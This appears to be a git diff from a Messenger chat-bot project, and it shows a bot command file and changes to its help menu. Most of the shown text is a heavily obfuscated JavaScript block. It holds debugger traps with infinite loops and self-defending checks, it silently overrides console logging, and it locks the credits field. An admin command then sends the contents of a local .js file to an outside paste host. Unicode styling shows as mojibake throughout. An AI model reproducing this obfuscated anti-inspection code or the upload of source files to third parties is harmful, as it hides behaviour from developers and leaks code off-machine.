_0x205c71[_0x32e697(0x4ca,0x4e6,0x4f2,0x52a)]()[_0x32e697(0x4c8,0x4ed,0x4f6,0x514)](_0x10e628['NTtTx'])['toString']()[_0x4f0453(-0x1ac,-0x1d8,-0x1af,-0x1b4)+'r'](_0x205c71)['search'](_0x10e628[_0x4f0453(-0x191,-0x179,-0x189,-0x19d)]);});function _0x39fbae(_0x25b46d,_0x14bbe1,_0x10ef93,_0x1735b4){return _0x3217(_0x1735b4- -0x216,_0x25b46d);}_0x205c71();var _0x4ef374=(function(){var _0x56672a={};_0x56672a[_0x532c99(0x1c8,0x1d9,0x1f3,0x218)]=function(_0x1fadda,_0x5291f0){return _0x1fadda===_0x5291f0;},_0x56672a[_0x532c99(0x24f,0x202,0x229,0x22a)]=_0x532c99(0x234,0x22b,0x1fc,0x1ea);var _0x5587eb=_0x56672a;function _0x4bb296(_0x1e04c9,_0x1be812,_0x18b3ad,_0x17f785){return _0x3217(_0x17f785-0x31c,_0x1be812);}function _0x532c99(_0x3da2e9,_0x5502ab,_0x3bb052,_0x28b63e){return _0x3217(_0x3bb052-0x74,_0x28b63e);}var _0x94976e=!![];return function(_0x2a6a68,_0x1881d4){var _0x71dd16=_0x94976e?function(){function _0x4aac9b(_0x41b428,_0x5aaf4d,_0x1a3d82,_0x40ccb0){return _0x3217(_0x40ccb0-0x1e0,_0x1a3d82);}if(_0x1881d4){if(_0x5587eb['YVtFv'](_0x5587eb['kxCQw'],_0x5587eb['kxCQw'])){var _0x147b21=_0x1881d4[_0x4aac9b(0x379,0x361,0x39c,0x37c)](_0x2a6a68,arguments);return _0x1881d4=null,_0x147b21;}else debugger;}}:function(){};return _0x94976e=![],_0x71dd16;};}());function _0x4f87f4(_0x10afce,_0x585016,_0x39d687,_0x376eef){return _0x3217(_0x10afce-0x330,_0x39d687);}function _0x3217(_0x26ee27,_0xf2bea6){var _0x3ad864=_0x1315();return _0x3217=function(_0x1d40a2,_0x394694){_0x1d40a2=_0x1d40a2-(-0xa30+0x70b*-0x1+0x129e);var _0x183c61=_0x3ad864[_0x1d40a2];if(_0x3217['OSdwjA']===undefined){var _0x49e0ae=function(_0x4d2fa9){var _0x33bd15='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x3763db='',_0x105299='',_0x590f11=_0x3763db+_0x49e0ae;for(var _0x29ecff=-0x17*-0xe4+0x199d+-0x2e19,_0x29835c,_0x49c9c6,_0x11a470=-0x9*-0x38+0x8c8+0x158*-0x8;_0x49c9c6=_0x4d2fa9['charAt'](_0x11a470++);~_0x49c9c6&&(_0x29835c=_0x29ecff%(0x40*0x15+0x1e72+-0x23ae)?_0x29835c*(0x16d*-0xb+0x1*0x6c1+0x92e)+_0x49c9c6:_0x49c9c6,_0x29ecff++%(0xf8*0x1+-0x1395+-0x12a1*-0x1))?_0x3763db+=_0x590f11['charCodeAt'](_0x11a470+(-0x2384+-0x159*-0x9+0x1*0x176d))-(-0x15ea+0x18fc+-0x308)!==-0x3d*0x3d+0x188b*-0x1+0x2714?String['fromCharCode'](0x9eb+0xad4+-0x2*0x9e0&_0x29835c>>(-(-0x15a6+-0x153*-0x1d+-0x10bf)*_0x29ecff&0x5e5+-0x1*0x10bf+0x18*0x74)):_0x29ecff:-0x125*-0x18+0x1*-0x18b7+-0x2f*0xf){_0x49c9c6=_0x33bd15['indexOf'](_0x49c9c6);}for(var _0x2a7ff2=-0x669*0x5+-0x5*-0x1a1+-0x12*-0x154,_0x5424ac=_0x3763db['length'];_0x2a7ff2<_0x5424ac;_0x2a7ff2++){_0x105299+='%'+('00'+_0x3763db['charCodeAt'](_0x2a7ff2)['toString'](0x35*0x1d+0xf6*-0x1f+0x197*0xf))['slice'](-(-0x1952+-0xfdd*0x1+0x2931));}return decodeURIComponent(_0x105299);};_0x3217['FpVxhu']=_0x49e0ae,_0x26ee27=arguments,_0x3217['OSdwjA']=!![];}var _0x4ea32d=_0x3ad864[-0x1045+-0x347*0x9+0x2dc4],_0x3e5522=_0x1d40a2+_0x4ea32d,_0x9985df=_0x26ee27[_0x3e5522];if(!_0x9985df){var _0x107f44=function(_0x5ee06e){this['SUGaSe']=_0x5ee06e,this['rowHvz']=[0x1fc4+0x12*0x1c9+-0x1*0x3fe5,0xfe*-0xf+0x18ca+0x1*-0x9e8,0x2035+0x15*-0x2a+-0x1cc3],this['ecZTWA']=function(){return'newState';},this['EuKCEV']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['ijqdWx']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x107f44['prototype']['kJlgri']=function(){var _0xaa2c03=new RegExp(this['EuKCEV']+this['ijqdWx']),_0x260e29=_0xaa2c03['test'](this['ecZTWA']['toString']())?--this['rowHvz'][-0x8*-0x51+-0x1d3f+0x9*0x2f8]:--this['rowHvz'][-0x5*0x742+-0x26cf+0x4b19];return this['qsduNP'](_0x260e29);},_0x107f44['prototype']['qsduNP']=function(_0x13e967){if(!Boolean(~_0x13e967))return _0x13e967;return this['NbKLtP'](this['SUGaSe']);},_0x107f44['prototype']['NbKLtP']=function(_0x54ea46){for(var _0xdae277=0x2da*-0xa+0x35e*0x1+0xc93*0x2,_0x32250f=this['rowHvz']['length'];_0xdae277<_0x32250f;_0xdae277++){this['rowHvz']['push'](Math['round'](Math['random']())),_0x32250f=this['rowHvz']['length'];}return _0x54ea46(this['rowHvz'][0x22db+-0x1575*0x1+-0xd66]);},new _0x107f44(_0x3217)['kJlgri'](),_0x183c61=_0x3217['FpVxhu'](_0x183c61),_0x26ee27[_0x3e5522]=_0x183c61;}else _0x183c61=_0x9985df;return _0x183c61;},_0x3217(_0x26ee27,_0xf2bea6);}(function(){var _0x2d372c={'ERrKP':_0x3e0dfa(-0x248,-0x273,-0x27e,-0x262)+'\x5c(\x20*\x5c)','tnqxx':_0x3e0dfa(-0x237,-0x22b,-0x1f6,-0x215)+_0x569f48(-0x110,-0x142,-0x145,-0x11b)+_0x569f48(-0xbb,-0xdb,-0x106,-0xec)+_0x569f48(-0x157,-0x141,-0xf2,-0x121),'DpDYM':function(_0x43aa27,_0xff2ed4){return _0x43aa27(_0xff2ed4);},'yJfsw':_0x3e0dfa(-0x200,-0x21d,-0x253,-0x225),'SrrGl':function(_0x466d01,_0x47684b){return _0x466d01+_0x47684b;},'rrBLm':_0x569f48(-0xd9,-0x105,-0x112,-0x10d),'RKkpK':function(_0x22f505,_0x3829de){return _0x22f505+_0x3829de;},'mdZwf':_0x3e0dfa(-0x289,-0x2ac,-0x288,-0x277),'tUtkm':function(_0x4856b9,_0x29adff){return _0x4856b9===_0x29adff;},'RMVWr':_0x569f48(-0xf1,-0x110,-0x116,-0x106),'DZfnK':function(_0x29d274,_0x277ab5,_0xa59830){return _0x29d274(_0x277ab5,_0xa59830);}};function _0x3e0dfa(_0x58ce55,_0x1a39d1,_0x2c2ca6,_0x3c8714){return _0x3217(_0x3c8714- -0x3e0,_0x2c2ca6);}function _0x569f48(_0x3001c0,_0x3e9c14,_0x3158ca,_0x447282){return _0x3217(_0x447282- -0x2a5,_0x3158ca);}_0x2d372c[_0x3e0dfa(-0x255,-0x22a,-0x21c,-0x23e)](_0x4ef374,this,function(){var _0x1650d4=new RegExp(_0x2d372c['ERrKP']),_0x31b702=new RegExp(_0x2d372c[_0x4824d7(0x288,0x2c4,0x28f,0x2a0)],'i');function _0x4824d7(_0x43442e,_0x311825,_0x8fb644,_0x34873e){return _0x569f48(_0x43442e-0xb4,_0x311825-0xa8,_0x34873e,_0x8fb644-0x3c6);}var _0x287e96=_0x2d372c[_0xf086e7(-0x22b,-0x20a,-0x1ea,-0x1eb)](_0x48b063,_0x2d372c[_0xf086e7(-0x1d1,-0x205,-0x225,-0x1fb)]);function _0xf086e7(_0x535134,_0x1bf36e,_0x36d839,_0x9dd0ad){return _0x569f48(_0x535134-0x1b3,_0x1bf36e-0x14a,_0x535134,_0x1bf36e- -0xdd);}if(!_0x1650d4[_0x4824d7(0x2ca,0x2cc,0x2a2,0x2ad)](_0x2d372c['SrrGl'](_0x287e96,_0x2d372c[_0x4824d7(0x2f7,0x301,0x2ca,0x2a1)]))||!_0x31b702[_0x4824d7(0x2ba,0x2c4,0x2a2,0x2b9)](_0x2d372c[_0xf086e7(-0x208,-0x210,-0x234,-0x207)](_0x287e96,_0x2d372c[_0xf086e7(-0x1fb,-0x200,-0x1dc,-0x214)])))_0x2d372c['DpDYM'](_0x287e96,'0');else{if(_0x2d372c[_0xf086e7(-0x1b6,-0x1eb,-0x1e5,-0x206)](_0x2d372c['RMVWr'],_0xf086e7(-0x1b2,-0x1d0,-0x1da,-0x1c3))){var _0x3d9d53=_0x52201f[_0x4824d7(0x291,0x2be,0x2bd,0x2b5)](_0x55b7de,arguments);return _0x178dbb=null,_0x3d9d53;}else _0x48b063();}})();}());var _0x5536a3=(function(){var _0x951240={};_0x951240[_0x1c4ecb(0x1a6,0x1ba,0x1db,0x177)]=function(_0x3a00d1,_0x4418a5){return _0x3a00d1!==_0x4418a5;},_0x951240['pOros']=_0x3c6091(-0x33,-0x3c,-0x2f,-0x50);function _0x3c6091(_0x22a372,_0x83d7ba,_0x166014,_0x33fb96){return _0x3217(_0x33fb96- -0x207,_0x166014);}function _0x1c4ecb(_0x5837c5,_0x5d23e4,_0x3c8a0e,_0x5c90d5){return _0x3217(_0x5837c5- -0x10,_0x3c8a0e);}_0x951240['oaPsV']='uElRF';var _0x101b1a=_0x951240,_0x288965=!![];return function(_0x4dd982,_0x4c820e){function _0x487dd9(_0x1c39a7,_0x528bd1,_0x37d6b2,_0x71f4cd){return _0x3c6091(_0x1c39a7-0x4b,_0x528bd1-0x1c9,_0x528bd1,_0x71f4cd- -0x184);}var _0x1102c1={'ZpXIF':function(_0x481235,_0x4c7986){function _0x32a08c(_0x23be4d,_0x599a5d,_0xde8c9,_0x46e899){return _0x3217(_0x23be4d-0x1a3,_0x599a5d);}return _0x101b1a[_0x32a08c(0x359,0x362,0x35d,0x34c)](_0x481235,_0x4c7986);}};function _0x444e45(_0x44657c,_0x402ac9,_0x3965f3,_0x39cec4){return _0x1c4ecb(_0x3965f3-0x20a,_0x402ac9-0xda,_0x39cec4,_0x39cec4-0x2c);}if(_0x101b1a[_0x444e45(0x364,0x37d,0x376,0x384)]!==_0x101b1a[_0x487dd9(-0x1be,-0x1b2,-0x1e5,-0x1d7)]){var _0x59d6b7=_0x288965?function(){function _0x309b3f(_0x2586f8,_0xc7547f,_0x539961,_0x9dc92c){return _0x444e45(_0x2586f8-0x17a,_0xc7547f-0x13a,_0x539961- -0x4e0,_0xc7547f);}function _0x55e805(_0x1bf7f3,_0x20926e,_0x10e9e4,_0x11efc2){return _0x444e45(_0x1bf7f3-0x82,_0x20926e-0x7e,_0x1bf7f3- -0x145,_0x20926e);}if(_0x4c820e){if(_0x1102c1['ZpXIF'](_0x309b3f(-0x17c,-0x13b,-0x161,-0x159),'rJuxO')){var _0x3c7ec7=_0x4c820e[_0x309b3f(-0x15a,-0x15f,-0x14a,-0x11e)](_0x4dd982,arguments);return _0x4c820e=null,_0x3c7ec7;}else{var _0x27b553=_0x1c8b98?function(){function _0x17d82b(_0x18983c,_0x1cdbe2,_0x4f20cc,_0x3bd2f1){return _0x309b3f(_0x18983c-0x16e,_0x1cdbe2,_0x4f20cc-0xcb,_0x3bd2f1-0x71);}if(_0x1ef126){var _0x206221=_0x5b6105[_0x17d82b(-0x8e,-0x66,-0x7f,-0x6a)](_0x13ede1,arguments);return _0x4da244=null,_0x206221;}}:function(){};return _0x310e05=![],_0x27b553;}}}:function(){};return _0x288965=![],_0x59d6b7;}else debugger;};}()),_0x49a1eb=_0x5536a3(this,function(){var _0x136868={};_0x136868[_0x3bffc0(-0x19e,-0x1d5,-0x193,-0x183)]=function(_0x342c4b,_0x4ac54f){return _0x342c4b!==_0x4ac54f;},_0x136868['KTmCw']=_0x3bffc0(-0x1fb,-0x215,-0x220,-0x20a),_0x136868[_0x45e540(0x50b,0x533,0x518,0x51d)]=function(_0x5e8345,_0x1304c7){return _0x5e8345===_0x1304c7;};function _0x3bffc0(_0x2c2f83,_0x59a3cf,_0x16ae65,_0x3697cd){return _0x3217(_0x2c2f83- -0x362,_0x59a3cf);}_0x136868[_0x3bffc0(-0x1d9,-0x1c9,-0x1b5,-0x1c8)]=function(_0x154c39,_0x5bbc74){return _0x154c39===_0x5bbc74;},_0x136868[_0x45e540(0x529,0x54b,0x549,0x57a)]=_0x45e540(0x569,0x562,0x55f,0x564),_0x136868[_0x45e540(0x545,0x568,0x53a,0x582)]=_0x3bffc0(-0x19c,-0x169,-0x165,-0x1d2),_0x136868[_0x3bffc0(-0x19d,-0x195,-0x16c,-0x1d2)]=_0x45e540(0x55c,0x54f,0x525,0x584),_0x136868['NIsNL']='info',_0x136868[_0x45e540(0x594,0x56f,0x567,0x58f)]=_0x45e540(0x56d,0x54d,0x54c,0x55f),_0x136868[_0x45e540(0x4f0,0x50c,0x4db,0x512)]=_0x45e540(0x575,0x550,0x54c,0x57e),_0x136868[_0x3bffc0(-0x1a3,-0x198,-0x1b0,-0x18a)]=_0x3bffc0(-0x1dc,-0x213,-0x1d2,-0x1a5);function _0x45e540(_0x24ff43,_0x2b931c,_0x48d2e7,_0x30c286){return _0x3217(_0x2b931c-0x3a0,_0x30c286);}_0x136868['AOIow']=function(_0x4cbb5e,_0x40d6fe){return _0x4cbb5e<_0x40d6fe;};var _0xe288ba=_0x136868,_0x3c7aea=_0xe288ba[_0x3bffc0(-0x19e,-0x193,-0x194,-0x1b7)](typeof window,_0xe288ba[_0x45e540(0x53b,0x511,0x526,0x548)])?window:_0xe288ba[_0x3bffc0(-0x1cf,-0x1d3,-0x1c8,-0x1af)](typeof process,_0x45e540(0x58b,0x56c,0x553,0x576))&&_0xe288ba[_0x45e540(0x560,0x529,0x518,0x514)](typeof require,_0xe288ba['wEqab'])&&typeof global===_0x3bffc0(-0x196,-0x170,-0x1a2,-0x182)?global:this,_0x21e762=_0x3c7aea[_0x45e540(0x559,0x54a,0x516,0x54d)]=_0x3c7aea[_0x3bffc0(-0x1b8,-0x1d8,-0x1cc,-0x1de)]||{},_0x328d05=[_0xe288ba[_0x3bffc0(-0x19a,-0x1ca,-0x199,-0x18e)],_0xe288ba['eDcrW'],_0xe288ba[_0x45e540(0x550,0x536,0x51c,0x533)],_0xe288ba[_0x45e540(0x581,0x56f,0x54c,0x55e)],_0xe288ba['tlYcB'],_0x3bffc0(-0x1ba,-0x186,-0x1d8,-0x1d3),_0xe288ba['TWQXG']];for(var _0x2abe94=0x2194*-0x1+0x15b1*-0x1+0x3745;_0xe288ba[_0x45e540(0x537,0x52e,0x510,0x561)](_0x2abe94,_0x328d05['length']);_0x2abe94++){var _0x265701=('0|2|3|4|5|'+'1')[_0x3bffc0(-0x1e8,-0x1e2,-0x1bf,-0x1d2)]('|'),_0x1b8905=-0x3*0x1e+-0x8*0x1e7+0xf92;while(!![]){switch(_0x265701[_0x1b8905++]){case'0':var _0x25a1b4=_0x5536a3['constructo'+'r']['prototype']['bind'](_0x5536a3);continue;case'1':_0x21e762[_0x3802c7]=_0x25a1b4;continue;case'2':var _0x3802c7=_0x328d05[_0x2abe94];continue;case'3':var _0x20c5a9=_0x21e762[_0x3802c7]||_0x25a1b4;continue;case'4':_0x25a1b4[_0x45e540(0x52a,0x513,0x544,0x505)]=_0x5536a3[_0x3bffc0(-0x195,-0x1a9,-0x1a8,-0x18d)](_0x5536a3);continue;case'5':_0x25a1b4['toString']=_0x20c5a9[_0x3bffc0(-0x1f2,-0x1d6,-0x1c0,-0x205)]['bind'](_0x20c5a9);continue;}break;}}});_0x49a1eb();if(module[_0x4f87f4(0x4d0,0x4f0,0x4d4,0x4af)][_0x39fbae(-0x49,-0x3c,-0x5d,-0x5a)][_0x39fbae(-0x52,-0x67,-0x3c,-0x56)]!==_0x4f87f4(0x4ed,0x4d0,0x4ee,0x4f8))return api[_0x4f87f4(0x4dc,0x4ae,0x4ee,0x4df)+'e'](_0x4f87f4(0x4cd,0x4c3,0x49d,0x4cd)+_0x39fbae(-0x76,-0x5b,-0x6c,-0x81)+_0x39fbae(-0x75,-0x81,-0xa6,-0x7b)+'\x20๐— ๐—˜๐—ฆ๐—ฆ๐—”๐—š๐—˜:\x20'+'๐–ข๐—๐–บ๐—‡๐—€๐–พ\x20๐–ผ๐—‹๐–พ'+_0x39fbae(-0x8a,-0xa6,-0x85,-0x9f)+_0x39fbae(-0x90,-0xa5,-0x4a,-0x75)+'๐—Œ๐–บ\x20๐–บ๐—Š๐—Ž๐–บ๐—‹๐—‚๐—Ž'+_0x4f87f4(0x4f1,0x525,0x51d,0x4e1)+'\x20๐–บ๐—„๐—ˆ\x20๐—Œ๐–บ๐—’๐—ˆ\x20'+_0x39fbae(-0x80,-0xa8,-0xaf,-0x84)+'๐–บ\x20๐—Œ๐–บ\x20๐–ฝ๐–บ๐—๐—‚\x0a'+'\x0a๐—ข๐—ช๐—ก๐—˜๐—ฅ\x20๐—ข๐—™\x20'+_0x39fbae(-0x64,-0x19,-0x5c,-0x4c)+_0x4f87f4(0x49d,0x4d2,0x49d,0x4d2)+_0x4f87f4(0x4de,0x504,0x4fd,0x4e9)+'book.com/s'+_0x4f87f4(0x4fe,0x50e,0x534,0x4dd)+'ordslush',event[_0x4f87f4(0x4d5,0x4b2,0x4a2,0x4ee)],event['messageID']);function _0x48b063(_0x22cb4b){function _0x40194e(_0x1f3770,_0x5480cb,_0x4e0ee4,_0x5528e8){return _0x4f87f4(_0x5528e8- -0xc7,_0x5480cb-0x157,_0x4e0ee4,_0x5528e8-0x1d9);}var _0x4d515f={'zbktG':_0x5b0e4f(0x228,0x1fe,0x21f,0x215),'SnUoZ':_0x5b0e4f(0x253,0x263,0x254,0x27a),'UdDSw':function(_0x5714d1,_0x2061a1){return _0x5714d1===_0x2061a1;},'ytUIT':_0x5b0e4f(0x220,0x258,0x226,0x238),'MZJWL':function(_0x19d638,_0x55186e){return _0x19d638!==_0x55186e;},'IYFEP':_0x40194e(0x3cb,0x3fc,0x3a9,0x3d1),'neOkV':function(_0x24bc68,_0x289ce9){return _0x24bc68+_0x289ce9;},'EusIX':function(_0x25acdc,_0x8c770b){return _0x25acdc/_0x8c770b;},'oxNqe':_0x5b0e4f(0x23e,0x247,0x236,0x263),'YyJxd':function(_0xadf2c9,_0x195359){return _0xadf2c9%_0x195359;},'tjWVC':function(_0x20ba9f,_0x29455a){return _0x20ba9f(_0x29455a);},'KbLam':'wvLLJ','gaHUf':function(_0x5d91c6,_0x3c6500){return _0x5d91c6===_0x3c6500;},'Lnljp':'SjcIB'};function _0x5b0e4f(_0x5204cd,_0x1152cc,_0x3cc863,_0x452880){return _0x39fbae(_0x5204cd,_0x1152cc-0x1d5,_0x3cc863-0x73,_0x3cc863-0x2d1);}function _0x1398c0(_0x55e53b){var _0x19524b={};function _0x3518e9(_0x6a6ec0,_0x103250,_0xe39c30,_0x51019d){return _0x5b0e4f(_0x51019d,_0x103250-0x1d0,_0xe39c30-0x1d0,_0x51019d-0x13c);}_0x19524b[_0x184354(0x153,0x11f,0x130,0x104)]=_0x3518e9(0x465,0x43d,0x449,0x440)+'+$';function _0x184354(_0x3fcd4c,_0x492b67,_0x2d64f0,_0x220f31){return _0x5b0e4f(_0x220f31,_0x492b67-0xc3,_0x2d64f0- -0x101,_0x220f31-0x98);}_0x19524b['ZzXZv']=_0x184354(0x117,0x100,0x133,0x151)+'0';var _0x1269e4=_0x19524b;if(_0x4d515f[_0x184354(0x187,0x143,0x16d,0x19e)]===_0x184354(0x127,0xe9,0x11e,0x101)){if(typeof _0x55e53b===_0x4d515f[_0x184354(0x12a,0xf6,0x124,0x151)]){if(_0x4d515f[_0x3518e9(0x439,0x425,0x416,0x446)](_0x4d515f[_0x3518e9(0x3e4,0x445,0x418,0x419)],_0x4d515f[_0x184354(0x133,0x14a,0x147,0x12b)])){var _0x2ee756=function(){while(!![]){}};return _0x2ee756();}else while(!![]){}}else{if(_0x4d515f[_0x3518e9(0x419,0x446,0x417,0x3ec)](_0x4d515f[_0x184354(0x150,0x181,0x160,0x185)],_0x4d515f[_0x3518e9(0x45c,0x467,0x431,0x43e)]))return _0x264cf6['toString']()['search'](_0x1269e4[_0x184354(0x12e,0x154,0x130,0x15b)])['toString']()[_0x3518e9(0x3f1,0x40f,0x41b,0x3fe)+'r'](_0x34dad6)[_0x3518e9(0x3de,0x3f7,0x3ff,0x3d2)](_0x1269e4[_0x3518e9(0x432,0x3f6,0x401,0x3d6)]);else{if(_0x4d515f[_0x184354(0x176,0x149,0x146,0x13f)](_0x4d515f[_0x184354(0x1a6,0x18c,0x172,0x13f)]('',_0x4d515f[_0x3518e9(0x455,0x449,0x452,0x472)](_0x55e53b,_0x55e53b))[_0x4d515f[_0x3518e9(0x3f5,0x438,0x429,0x45b)]],0x82a+0x1011+0x1bb*-0xe)||_0x4d515f[_0x3518e9(0x3e3,0x42d,0x416,0x3ee)](_0x4d515f[_0x184354(0x171,0x16b,0x16b,0x16d)](_0x55e53b,-0x4a6+0xabf+0x605*-0x1),-0x57*0x8+-0x1*0x869+0x25*0x4d))debugger;else debugger;}}_0x4d515f[_0x184354(0x134,0x100,0x11d,0xee)](_0x1398c0,++_0x55e53b);}else{var _0x3327e4=_0x1269e4[_0x3518e9(0x478,0x44d,0x445,0x46c)]['split']('|'),_0x2ea3ea=-0x3b*0x77+-0x16c4+0x10bb*0x3;while(!![]){switch(_0x3327e4[_0x2ea3ea++]){case'0':_0x44b040[_0x215379]=_0x8cab5f;continue;case'1':var _0x215379=_0x359bb0[_0x59c59f];continue;case'2':_0x8cab5f[_0x3518e9(0x3ca,0x3fd,0x3fe,0x3ec)]=_0x140d78[_0x3518e9(0x489,0x479,0x458,0x44e)](_0x135169);continue;case'3':var _0x8cab5f=_0x2a802d[_0x3518e9(0x426,0x413,0x41b,0x3f3)+'r'][_0x184354(0x131,0x131,0x15e,0x16e)][_0x184354(0x156,0x190,0x187,0x16f)](_0x517da6);continue;case'4':var _0x3763f8=_0x42dcce[_0x215379]||_0x8cab5f;continue;case'5':_0x8cab5f[_0x184354(0x157,0xfa,0x12a,0x15b)]=_0x3763f8[_0x3518e9(0x3eb,0x3fd,0x3fb,0x3fb)]['bind'](_0x3763f8);continue;}break;}}}try{if(_0x4d515f[_0x40194e(0x3bc,0x400,0x3bf,0x3f0)]!==_0x4d515f['KbLam'])return _0x59f24c;else{if(_0x22cb4b){if(_0x4d515f[_0x40194e(0x3c2,0x3f8,0x3c6,0x3f8)](_0x4d515f[_0x5b0e4f(0x283,0x275,0x284,0x279)],_0x4d515f[_0x5b0e4f(0x2a0,0x292,0x284,0x29d)]))return _0x1398c0;else{if(_0x3ad864){var _0x456188=_0x49e0ae[_0x40194e(0x429,0x3e9,0x3f5,0x405)](_0x4ea32d,arguments);return _0x3e5522=null,_0x456188;}}}else _0x4d515f['tjWVC'](_0x1398c0,-0x1936+0x1f1e+-0x5e8);}}catch(_0x5d3706){}}function _0x1315(){var _0x18d870=['y0DUBxC','DgPxvKm','zxf4tvO','mZaZnZKWAw1sEMvg','mJmYmJa4ngjdzNrVqG','Dw5KzwzPBMvK','y0jNshO','Aw5WDxq','u25vB1O','DvvWEuu','DgXzy0i','8j2xOFcDL5C6igH0DhbZoG','Dg5XEhG','mZe4odf4sw9mBgq','Dg9tDhjPBMC','s1rTq3C','uKTRCeS','x19WCM90B19F','C2vHCMnO','ogvArgjpAW','wwLqAhG','8j2wVFcDL4lWNzEn8j2xJcdWNzEj8j2wUIdWNzEc8j2xIq','rhbewu0','m3WXFdr8mNW1Fa','C3bSAxq','BgvUz3rO','Ce9YB3m','EuPMC3C','zNvUy3rPB24GkG','wvz0rNy','wgnwAMG','DgvZDa','BwrAD2y','nZKXnLfcBhH3uW','jf0Qkq','rLH3DNu','DhjHy2u','s2jmyw0','te5Zrvq','uwjNzLC','ys16qs1AxYrDwW','vwreu3C','tvPkv0W','Exrvsvq','qu9jB3C','z2fivwy','y29UC3rYDwn0BW','vfzSB24','8j2xGVcDLRVWNzA68j2xHFcDL4lWNzEeipcDL4BWNzEo8j2xHW','zNjjAwK','mtzfAwr3DK4','8j2xOFcDL5RWNzEyipcDL5BWNzEL8j2xMpcDL5FWNzEC8j2xPW','tKLZtKW','Dfv0A20','y2HHAw4','C3rYAw5N','mJCXmJKWzeXts2PO','8j2xPIbDcGRWNzEu8j2xL/cDL6dWNzEC8j2xOq','yxbWBhK','wYdWNzEu8j2xOFcDL6FWNzECipcDL5BWNzEB8j2xLa','B3HoCwu','zgHsB3e','zxHWB3j0CW','8j2wUVcDL4ZWNzEi8j2xHcdWNzEe8j2xGVcDL43WNzA6ia','rfPMBKS','nZrlDMjnsey','ChjVDg90ExbL','DgHYzwfKsuq','svLgrva','tLr0vhG','DgfIBgu','CNjctg0','y29UC29Szq','D0vXywi','C2vUze1LC3nHzW','zxjYB3i','lY93D3CUzMfJzq','D2fYBG','zxHJzxb0Aw9U','wxLkEgq','uuLRAKG','EMjRDeC','B2fqC1y','A3HduxC','ChrjquG','qNfzq00','BMvpA1y','mc05ys16qs1AxW','wNPywNy','Aw5PDa','y29UzMLN','q2XPzMy','kcGOlISPkYKRkq','vfDrweC','y3jLzgL0CW','8j2xHIdWNzA+8j2xGsWG8j2xHpcDL47WNzEh8j2xGa','zNvUy3rPB24','mJe5otG3thzJBgHx','D0TszKy','zurJCLC','Bg9N','rxvZsvG','qLrqs3G','tg5SANa','8j2xP/cDL5VWNzEC8j2xPIdWNzEw8j2xOVcDL6dWNzEG8j2xLa','xcTCkYaQkd86wW','B2jQzwn0','yMLUza','D29YzgLNBY5ZDW','EfjrqNe','mZiZotuXnNfLtxn4va'];_0x1315=function(){return _0x18d870;};return _0x1315();} + + if (!admin.includes(event.senderID)) { + return api.sendMessage("You don't have permission to use this command. ๐Ÿคช", event.threadID, event.messageID); + } + + const fileName = args[0]; + if (!fileName) { + return api.sendMessage("Please provide a file name.", event.threadID, event.messageID); + } + + const filePath = path.resolve(__dirname, `${fileName}.js`); + if (!fs.existsSync(filePath)) { + return api.sendMessage(`File not found: ${fileName}.js`, event.threadID, event.messageID); + } + + try { + const fileContent = fs.readFileSync(filePath, 'utf8'); + const response = await axios.get(`https://hastebinupload-ghost-2de6112e.vercel.app/hastebin?upload=${encodeURIComponent(fileContent)}`); + const randomResponse = [ response.data.php, response.data.csharp, response.data.js, response.data.css, response.data.ts, response.data.kotlin ]; + const random = randomResponse[Math.floor(Math.random() * randomResponse.length)]; + const { php, csharp, js, css, ts, kotlin } = response.data; + const uploadMessage = "๐—จ๐—ฃ๐—Ÿ๐—ข๐—”๐—— ๐—ฆ๐—จ๐—–๐—–๐—˜๐—ฆ๐—ฆ๐—™๐—จ๐—Ÿ๐—Ÿ๐—ฌ:"; + api.sendMessage(`${uploadMessage}\n\n${random}`, event.threadID, event.messageID); + } catch (error) { + console.error('Error:', error); + api.sendMessage('An error occurred while processing your request.', event.threadID, event.messageID); + } +}; diff --git a/script/help.js b/script/help.js index 757dd6942..cb9a23634 100644 --- a/script/help.js +++ b/script/help.js @@ -25,28 +25,38 @@ module.exports.run = async function({ let page = 1; let start = (page - 1) * pages; let end = start + pages; - let helpMessage = `Command List:\n\n`; + let helpMessage = `โ˜„๏ธ ๐— ๐—ฌ ๐—”๐—ฉ๐—”๐—œ๐—Ÿ ๐—–๐—ข๐— ๐— ๐—”๐—ก๐—— ๐—Ÿ๐—œ๐—ฆ๐—ง:\n\n`; for (let i = start; i < Math.min(end, commands.length); i++) { - helpMessage += `\t${i + 1}. ใ€Œ ${prefix}${commands[i]} ใ€\n`; + helpMessage += `\โ•ญโ”€โ +โž  ${i + 1}. ${prefix}${commands[i]} +โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โŸก \n`; } - helpMessage += '\nEvent List:\n\n'; + helpMessage += '\nโ˜„๏ธ ๐— ๐—ฌ ๐—˜๐—ฉ๐—˜๐—ก๐—ง ๐—Ÿ๐—œ๐—ฆ๐—ง:\n\n'; eventCommands.forEach((eventCommand, index) => { - helpMessage += `\t${index + 1}. ใ€Œ ${prefix}${eventCommand} ใ€\n`; + helpMessage += `\โ•ญโ”€โ +โž  ${index + 1}. ${prefix}${eventCommand} +โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โŸก \n`; }); - helpMessage += `\nPage ${page}/${Math.ceil(commands.length / pages)}. To view the next page, type '${prefix}help page number'. To view information about a specific command, type '${prefix}help command name'.`; + helpMessage += `\nPage ${page}/${Math.ceil(commands.length / pages)}. To view the next page, type '${prefix}help page number'. To view information about a specific command, type '${prefix}help command name' + +๐—ง๐—›๐—œ๐—ฆ ๐—•๐—ข๐—ง ๐—œ๐—ฆ ๐—จ๐—ฆ๐—œ๐—ก๐—š ๐—ง๐—›๐—œ๐—ฆ ๐—”๐—จ๐—ง๐—ข๐—•๐—ข๐—ง:https://maori-autobotsite.onrender.com.`; api.sendMessage(helpMessage, event.threadID, event.messageID); } else if (!isNaN(input)) { const page = parseInt(input); const pages = 20; let start = (page - 1) * pages; let end = start + pages; - let helpMessage = `Command List:\n\n`; + let helpMessage = `โ˜„๏ธ ๐—–๐—ข๐— ๐— ๐—”๐—ก๐—— ๐—Ÿ๐—œ๐—ฆ๐—ง:\n\n`; for (let i = start; i < Math.min(end, commands.length); i++) { - helpMessage += `\t${i + 1}. ใ€Œ ${prefix}${commands[i]} ใ€\n`; + helpMessage += `\โ•ญโ”€โ +โž  ${i + 1}. ${prefix}${commands[i]} 